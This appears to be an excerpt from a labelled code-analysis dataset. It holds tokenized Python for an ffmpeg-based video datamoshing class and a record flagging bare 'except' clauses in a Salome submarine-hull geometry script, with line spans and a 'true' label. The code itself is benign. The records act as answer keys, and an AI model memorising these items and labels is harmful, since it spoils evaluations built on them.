"\\u\\u\\uNEWLINE\\u\\u\\u_", "opts_", "._", "extend_", "(_", "[_", "'-", "vco", "dec", "'_", ",_", "'", "libx", "vid", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "opts_", "._", "extend_", "(_", "[_", "'-", "f", "'_", ",_", "'", "avi", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "opts_", "._", "extend_", "(_", "[_", "'-", "y", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "opts_", "._", "extend_", "(_", "[_", "avi", "_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "opts_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Mos", "hio", "n_", "(_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "write", "\\u", "movie_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "to", "\\u", "mos", "h_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "not_", "self_", "._", "uber", "_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "msg_", "=_", "'\\\\", "n", "\\\\", "n", "Creat", "ing", " ", "initial", " ", "movie", "\\\\", "n", "\\\\", "n", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "IS", "\\u", "TTY", "_", ":_", "print_", "hil", "ite_", "(_", "msg_", ",_", "7_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "key_", ",_", "value_", "in_", "self_", "._", "file", "\\u", "list", "\\u", "dict_", "._", "iteritems_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "list", "\\u", "file_", "=_", "os_", "._", "path_", "._", "join_", "(_", "self_", "._", "outdir_", ",_", "key_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "avi", "\\u", "filename_", "=_", "\"{", "0", "}.", "avi", "\"_", "._", "format_", "(_", "self_", "._", "fileb", "ase_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "to", "\\u", "mos", "h_", "._", "append_", "(_", "avi", "\\u", "filename_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "avi", "_", "=_", "os_", "._", "path_", "._", "join_", "(_", "self_", "._", "outdir_", ",_", "avi", "\\u", "filename_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", ",", " ", "shell", "=", "Fal", "se", ",", " ", "std", "in", "=", "PIPE", ",", " ", "stdout", "=", "PIPE", ",", " ", "std", "err", "=", "PIPE_", "\\u\\u\\uNL\\u\\u\\u_", "return_", "subprocess_", "._", "call_", "(_", "self_", "._", "get", "\\u", "encode", "\\u", "opts_", "(_", "list", "\\u", "file_", ",_", "avi", "_", ")_", ",_", "close", "\\u", "fds_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "msg_", "=_", "'\\\\", "n", "\\\\", "n", "Creat", "ing", " ", "initial", " ", "movie", "s", "\\\\", "n", "\\\\", "n", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "IS", "\\u", "TTY", "_", ":_", "print_", "hil", "ite_", "(_", "msg_", ",_", "7_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "hil", "ite_", "(_", "self_", "._", "input", "\\u", "frame", "\\u", "list_", ",_", "30_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "file", "\\u", "list", "\\u", "name_", "=_", "'", "frame", "\\u", "list", ".", "%", "04", "d", ".", "txt", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "frame_", "in_", "self_", "._", "input", "\\u", "frame", "\\u", "list_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "list", "\\u", "file_", "=_", "os_", "._", "path_", "._", "join_", "(_", "self_", "._", "outdir_", ",_", "file", "\\u", "list", "\\u", "name_", "%_", "frame_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "avi", "\\u", "filename_", "=_", "\"{", "0", "}\\u", "fr", "{", "1", "}.", "avi", "\"_", "._", "format_", "(_", "self_", "._", "fileb", "ase_", ",_", "'%", "04", "d", "'_", "%_", "frame_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "to", "\\u", "mos", "h_", "._", "append_", "(_", "avi", "\\u", "filename_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "avi", "_", "=_", "os_", "._", "path_", "._", "join_", "(_", "self_", "._", "outdir_", ",_", "avi", "\\u", "filename_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", ",", " ", "shell", "=", "Fal", "se", ",", " ", "std", "in", "=", "PIPE", ",", " ", "stdout", "=", "PIPE", ",", " ", "std", "err", "=", "PIPE_", "\\u\\u\\uNL\\u\\u\\u_", "subprocess_", "._", "call_", "(_", "self_", "._", "get", "\\u", "encode", "\\u", "opts_", "(_", "list", "\\u", "file_", ",_", "avi", "_", ")_", ",_", "close", "\\u", "fds_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Mos", "hio", "n_", "(_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "mos", "h_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "self_", "._", "to", "\\u", "mos", "h_", "is_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "for_", "avi", "\\u", "filename_", "in_", "self_", "._", "to", "\\u", "mos", "h_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "mos", "hed", "\\u", "avi", "\\u", "filename_", "=_", "avi", "\\u", "filename_", "._", "replace_", "(_", "'.", "avi", "'_", ",_", "'\\u", "mos", "hed", ".", "avi", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "msg_", "=_", "'{", "0", "}", "Creat", "ing", " ", "mos", "hed", " ", "movie", ":\\\\", "n", "{", "1", "}{", "0", "}'_", "._", "format_", "(_", "HR", "_", ",_", "mos", "hed", "\\u", "avi", "\\u", "filename_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "IS", "\\u", "TTY", "_", ":_", "print_", "hil", "ite_", "(_", "msg_", ",_", "15_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "input", "\\u", "avi", "_", "=_", "os_", "._", "path_", "._", "join_", "(_", "self_", "._", "outdir_", ",_", "avi", "\\u", "filename_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "mos", "hed", "\\u", "avi", "_", "=_", "os_", "._", "path_", "._", "join_", "(_", "self_", "._", "outdir_", ",_", "mos", "hed", "\\u", "avi", "\\u", "filename_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "by", " ", "jo", "hann", "es", "gj", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "https", "://", "git", "hub", ".", "com", "/", "gram", "pa", "jo", "e", "/", "pymo", "sh", "/", "blob", "/", "master", "/", "example", "s", "/", "mos", "hm", "oti", "on", ".", "py_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "load", "s", " ", "in", " ", "the", " ", "index", " ", "of", " ", "frames", " ", "in", " ", "the", " ", "give", "n", " ", "avi", " ", "file_", "\\u\\u\\uNL\\u\\u\\u_", "f_", "=_", "Index_", "(_", "input", "\\u", "avi", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "So", " ", "I", " ", "can", " ", "assign", " ", "to", " ", "the", " ", "close", "d", "-", "over", " ", "buffer_", "\\u\\u\\uNL\\u\\u\\u_", "buf_", "=_", "[_", "None_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "process", "\\u", "frame_", "(_", "frame_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Process", " ", "a", " ", "frame", ",", " ", "holding", " ", "onto", " ", "one", " ", "P", "-", "frame", " ", "at", " ", "a", " ", "time", ",", "\\", "10", ";", " ", " ", "whi", "ch", " ", "is", " ", "used", " ", "to", " ", "replace", " ", "any", " ", "I", "-", "frames", " ", "encounter", "ed", ".\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "if", " ", "there", " ", "is", " ", "no", " ", "frame", " ", "in", " ", "buf", " ", "or", " ", "the", " ", "frame", " ", "is", " ", "not", " ", "i", "-", "frame_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "buf_", "[_", "0_", "]_", "==_", "None_", "or_", "not_", "is", "\\u", "iframe", "_", "(_", "frame_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "then", " ", "buf", " ", "is", " ", "the", " ", "see", "n", " ", "p", "-", "frame_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "buf_", "[_", "0_", "]_", "=_", "frame_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "if", " ", "it", " ", "IS", " ", "an", " ", "iframe", " ", "then", " ", "use", " ", "the", " ", "buf", "'", "ers", " ", "pf", "rame_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "frame_", "=_", "buf_", "[_", "0_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "return", " ", "the", " ", "frame_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "frame_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "we", " ", "use", " ", "the", " ", "list", " ", "of", " ", "frames", " ", "in", " ", "the", " ", "load", "ed", " ", "file_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "for_", "stream_", "in_", "f_", "._", "video_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "make", " ", "a", " ", "new", " ", "list", " ", "to", " ", "put", " ", "in", " ", "frames", " ", "YOU", " ", "decide", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "newst", "ream", "_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "append", " ", "it", " ", "with", " ", "a", " ", "i", "-", "frame", " ", "to", " ", "make", " ", "it", " ", "load", " ", "fine", " ", "in", " ", "video", " ", "player_", "\\u\\u\\uNL\\u\\u\\u_", "newst", "ream", "_", "._", "append_", "(_", "stream_", "[_", "0_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "two", " ", "variab", "les", " ", "for", " ", "counti", "ng", " ", "frames", " ", "and", " ", "interval_", "\\u\\u\\uNL\\u\\u\\u_", "ix_", "=_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "jx", "_", "=_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "stream", " ", "is", " ", "reduce", "d", " ", "by", " ", "one", " ", "sinc", "e", " ", "we", " ", "have", " ", "allr", "ead", "y", " ", "adde", "d", " ", "one", " ", "frame", " ", "above_", "\\u\\u\\uNL\\u\\u\\u_", "for_", "i_", "in_", "stream_", "[_", "1_", ":_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "ix_", "+=_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "jx", "_", "+=_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "if", " ", "ix", " ", "the", " ", "counter", " ", "of", " ", "interval", " ", "is", " ", "<", " ", "interval", " ", "select", " ", "normal", " ", "frames_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "ix_", "<_", "self_", "._", "interval_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "newst", "ream", "_", "._", "append_", "(_", "process", "\\u", "frame_", "(_", "stream_", "[_", "jx", "_", "]_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "else", " ", "ble", "ed", " ", "the", " ", "reache", "d", " ", "frame", " ", "for", " ", "interval", " ", "time_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "newst", "ream", "_", "._", "append_", "(_", "newst", "ream", "_", "[_", "-_", "1_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "init", " ", "interval_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "ix_", ">_", "self_", "._", "interval_", "*_", "2_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "ix_", "=_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "replace", " ", "original", " ", "stream", " ", "with", " ", "same", " ", "length", " ", "newst", "ream", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "stream_", "._", "replace_", "(_", "newst", "ream", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Call", " ", "rebu", "ild", " ", "to", " ", "recom", "bin", "e", " ", "the", " ", "modifi", "ed", " ", "stream", "s", " ", "and", " ", "perform", " ", "any", " ", "other_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "maintenance", " ", "the", " ", "file", " ", "format", " ", "need", "s", " ", "for", " ", "clean", " ", "output", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "f_", "._", "rebuild_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Final", "ly", ",", " ", "write", " ", "the", " ", "modifi", "ed", " ", "file", " ", "._", "\\u\\u\\uNL\\u\\u\\u_", "f_", "._", "write_", "(_", "mos", "hed", "\\u", "avi", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "mos", "hed", "_", "._", "append_", "(_", "mos", "hed", "\\u", "avi", "\\u", "filename_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Mos", "hio", "n_", "(_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "get", "\\u", "export", "\\u", "opts_", "(_", "self_", ",_", "seek", "to", "\\u", "str_", ",_", "fco", "unt_", ",_", "mos", "hed", "\\u", "avi", "_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "framerate", "_", "=_", "25.0", "_", "#", " ", "irre", "lev", "ant", " ", "-", " ", "just", " ", "need", "s", " ", "to", " ", "be", " ", "constant_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", " ", " ", " ", "endf", "rame", " ", "=", " ", "float", "(", "self", ".", "end", "+", "1", ")_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "export", "secs", " ", "=", " ", "endf", "rame", "/", "framerate", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "fft", "ime", " ", "=", " ", "\"%", "05", ".2", "f", "\"", " ", "%", " ", "export", "secs_", "\\u\\u\\uNL\\u\\u\\u_", "opts_", "=_", "[_", "'", "ffmpeg", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "opts_", "._", "extend_", "(_", "[_", "'-", "nost", "din", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "opts_", "._", "extend_", "(_", "[_", "'-", "hide", "\\u", "banner", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "opts_", "._", "extend_", "(_", "[_", "'-", "i", "'_", ",_", "mos", "hed", "\\u", "avi", "_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "opts_", "._", "extend_", "(_", "[_", "'-", "ss", "'_", ",_", "seek", "to", "\\u", "str_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "opts_", "._", "extend_", "(_", "[_", "'-", "frames", ":", "v", "'_", ",_", "str_", "(_", "fco", "unt_", ")_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "opts_", "._", "extend_", "(_", "[_", "'-", "vf", "'_", ",_", "'", "fp", "s", "=", "25", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", " ", " ", " ", "opts", ".", "extend", "([", "'-", "ss", "',", " ", "'", "00", ":", "00", ":", "%", "s", "'", " ", "%", " ", "fft", "ime", "])", "_", "\\u\\u\\uNL\\u\\u\\u_", "opts_", "._", "extend_", "(_", "[_", "'-", "f", "'_", ",_", "'", "image2", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "opts_", "._", "extend_", "(_", "[_", "self_", "._", "outs", "eq_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "\"", " ", "\"_", "._", "join_", "(_", "opts_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "opts_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Mos", "hio", "n_", "(_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "write", "\\u", "sequence_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "framerate", "_", "=_", "25.0", "_", "#", " ", "irre", "lev", "ant", " ", "-", " ", "just", " ", "need", "s", " ", "to", " ", "be", " ", "constant_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "seek", "to", "\\u", "frame_", "=_", "float_", "(_", "len_", "(_", "self_", "._", "input", "\\u", "frame", "\\u", "list_", ")_", "+_", "1.0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "seek", "to", "\\u", "secs_", "=_", "seek", "to", "\\u", "frame_", "/_", "framerate", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "seek", "to", "\\u", "str_", "=_", "\"%", "05", ".2", "f", "\"_", "%_", "seek", "to", "\\u", "secs_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "not_", "self_", "._", "uber", "_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "fco", "unt_", "=_", "len_", "(_", "self_", "._", "input", "\\u", "frame", "\\u", "list_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "key_", ",_", "fname_", "in_", "enumerate_", "(_", "self_", "._", "mos", "hed", "_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "msg_", "=_", "'{", "0", "}", "Export", "ing", " ", "{", "2", "}", " ", "frame", " ", "image", " ", "sequence", " ", "from", " ", "{", "3", "}:", " ", "{", "1", "}{", "0", "}'_", "._", "format_", "(_", "HR", "_", ",_", "self_", "._", "outs", "eq_", ",_", "fco", "unt_", ",_", "fname_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "IS", "\\u", "TTY", "_", ":_", "print_", "hil", "ite_", "(_", "msg_", ",_", "11_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "avi", "_", "=_", "os_", "._", "path_", "._", "join_", "(_", "self_", "._", "outdir_", ",_", "fname_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "subprocess_", "._", "call_", "(_", "self_", "._", "get", "\\u", "export", "\\u", "opts_", "(_", "seek", "to", "\\u", "str_", ",_", "fco", "unt_", ",_", "avi", "_", ")_", ",_", "close", "\\u", "fds_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "uber", "\\u", "frame", "\\u", "list_", "=_", "list_", "(_", "self_", "._", "mos", "hed", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "while_", "uber", "\\u", "frame", "\\u", "list_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "fco", "unt_", "=_", "len_", "(_", "uber", "\\u", "frame", "\\u", "list_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "fname_", "=_", "uber", "\\u", "frame", "\\u", "list_", "._", "pop_", "(_", "0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "avi", "_", "=_", "os_", "._", "path_", "._", "join_", "(_", "self_", "._", "outdir_", ",_", "fname_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "msg_", "=_", "'{", "0", "}", "Export", "ing", " ", "{", "2", "}", " ", "frame", " ", "image", " ", "sequence", " ", "from", " ", "{", "3", "}:", " ", "{", "1", "}{", "0", "}'_", "._", "format_", "(_", "HR", "_", ",_", "self_", "._", "outs", "eq_", ",_", "fco", "unt_", ",_", "fname_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "IS", "\\u", "TTY", "_", ":_", "print_", "hil", "ite_", "(_", "msg_", ",_", "11_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "subprocess_", "._", "call_", "(_", "self_", "._", "get", "\\u", "export", "\\u", "opts_", "(_", "seek", "to", "\\u", "str_", ",_", "fco", "unt_", ",_", "avi", "_", ")_", ",_", "close", "\\u", "fds_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Mos", "hio", "n_", "(_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "do", "\\u", "full", "\\u", "mos", "h_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "write", "\\u", "movie_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "mos", "h_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "write", "\\u", "sequence_", "(_", ")_" ]
[ 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 2, 2, 2, 2, 0, 1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 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Except block handles 'BaseException'
nelinnemann/Salome-Scripts/Darpa-SubOff/Darpa-SubOff.py
[ { "content": "def makeAfterBodyCap():\n listStart=vertCounter\n rang = linspace(XA,XC)\n for x in rang:\n try:\n yint = 1.-math.pow((3.2*x-44.733333),2)\n y=0.1175*RMAX*math.pow(yint,0.5)\n except:\n y=0\n createPoint(x,y,0)\n listEnd=vertCounter\n createCurve(listStart,listEnd)\n createRevolution(c[\"Curve_{0}\".format(curveCounter-1)])", "metadata": "root.makeAfterBodyCap", "header": "['module', '___EOS___']", "index": 218 }, { "content": "def makeSailCap():\n xlist=[]\n ylist=[]\n zlist=[]\n curveListStart = curveCounter\n \n for i,x in enumerate(xCapList):\n z1=zList[i]\n xlist.append(x)\n yrang = linspace(1.507813,(z1/2)+1.507813,10)\n for y in yrang:\n value = z1**2-(2*(y-1.507813))**2\n try:\n z=math.sqrt(value)\n except:\n z=0.\n \n ylist.append(y)\n zlist.append(z)\n \n for i in xrange(0,10):\n listStart=vertCounter\n counter=i\n\n for x in xlist:\n y=ylist[counter]\n z=zlist[counter]\n counter+=10\n createPoint(x,y,z)\n \n listEnd=vertCounter\n createCurve(listStart,listEnd)\n curveListEnd = curveCounter\n createFilling(curveListStart,curveListEnd)\n createMirror(fi[\"Filling_{0}\".format(compoundCounter-1)])", "metadata": "root.makeSailCap", "header": "['module', '___EOS___']", "index": 305 } ]
[ { "span": "except:", "start_line": 225, "start_column": 8, "end_line": 225, "end_column": 15 }, { "span": "except:", "start_line": 319, "start_column": 12, "end_line": 319, "end_column": 19 } ]
[]
1
true
[ "[CLS]_", "Except", "_", "block_", "handles_", "'", "Base", "Except", "ion", "'_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "make", "Af", "ter", "Bod", "y", "Cap", "_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "list", "Start_", "=_", "vert", "Counter_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "rang", "_", "=_", "linspace_", "(_", "XA", "_", ",_", "XC", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "x_", "in_", "rang", "_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "yin", "t_", "=_", "1._", "-_", "math_", "._", "pow_", "(_", "(_", "3.2", "_", "*_", "x_", "-_", "44.", "733", "333_", ")_", ",_", "2_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "y_", "=_", "0.11", "75_", "*_", "RM", "AX", "_", "*_", "math_", "._", "pow_", "(_", "yin", "t_", ",_", "0.5_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "y_", "=_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "create", "Point_", "(_", "x_", ",_", "y_", ",_", "0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "list", "End_", "=_", "vert", "Counter_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "create", "Curve_", "(_", "list", "Start_", ",_", "list", "End_", ")_", 